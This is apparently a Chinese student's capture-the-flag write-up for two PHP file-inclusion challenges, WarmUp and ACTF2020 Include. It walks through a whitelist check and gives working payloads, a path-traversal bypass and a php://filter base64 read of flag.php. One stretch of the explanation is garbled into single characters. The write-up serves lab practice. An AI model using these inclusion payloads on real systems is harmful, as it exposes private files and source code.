上周学长刚刚讲过代码审计,我发现有一些代码审计题型,就拿来做一下
WarmUp(代码审计)
1.打开靶场,发现2.F12控制台打开,发现
3.其中里面有
4.使用php语言打开其内容
http://856cbf54-b602-4f72-856c-a87dc52702b1.node3.buuoj.cn/index.php?file=source.php
5.代码函数内容:
!empty(
R
E
Q
U
E
S
T
[
′
f
i
l
e
′
]
)
∗
∗
表
示
要
f
i
l
e
变
量
不
为
空
∗
∗
i
s
s
t
r
i
n
g
(
_REQUEST['file'])** 表示要file变量不为空 **is_string(
REQUEST[′file′])∗∗表示要file变量不为空∗∗isstring(_REQUEST[‘file’]) 要求我们传进来的值是字符串类型
emmm::checkFile($_REQUEST[‘file’]) 表示将我们的的值传到emmm类里面的checkFile函数
6.这三个值通过&&逻辑与运算符连接
只有将这块函数的返回值要全为真才能执行if里面的文件包含的代码
所以我们开始执行命令
使用
index.php?file=hint.php
得到
7.再次解析代码得到
class emmm
{
public static function checkFile(&$page)
{
//白名单列表
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
if (! isset($page) || !is_string($page)) {
echo "you can't see it A";
return false;
}
//检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($page, $whitelist)) {
return true;
}
//过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
);
//第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($_page, $whitelist)) {
return true;
}
//url对$page解码
$_page = urldecode($page);
//第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
这里面包含了3次白名单检测 **
两次 ** ?过滤
以及一次URL解码
7.之后只要把他的过滤的东西绕过即可
使用命令
/index.php?file=hint.php?../../../../../ffffllllaaaagggg
即可得到FLAG
[ACTF2020 新生赛]Include:
1.打开靶场
2.点开按键
3.查看是否存在抓包,使用bp抓包,没有收获
4.使用PHP语言
?file=php://input
得到
5.再使用php://filter"伪协议” 来进行包含
(注意:使用php://filter伪协议进行文件包含时,使用read=convert.base64-encode得到base64编码后的flag.php文件源码)
构造Payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
得到
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZjM3YjA0MzItMGNmMi00OTY3LTkxOWQtOGZiZWZhZjliYWU1fQo=
经典base64解码
得到得到flag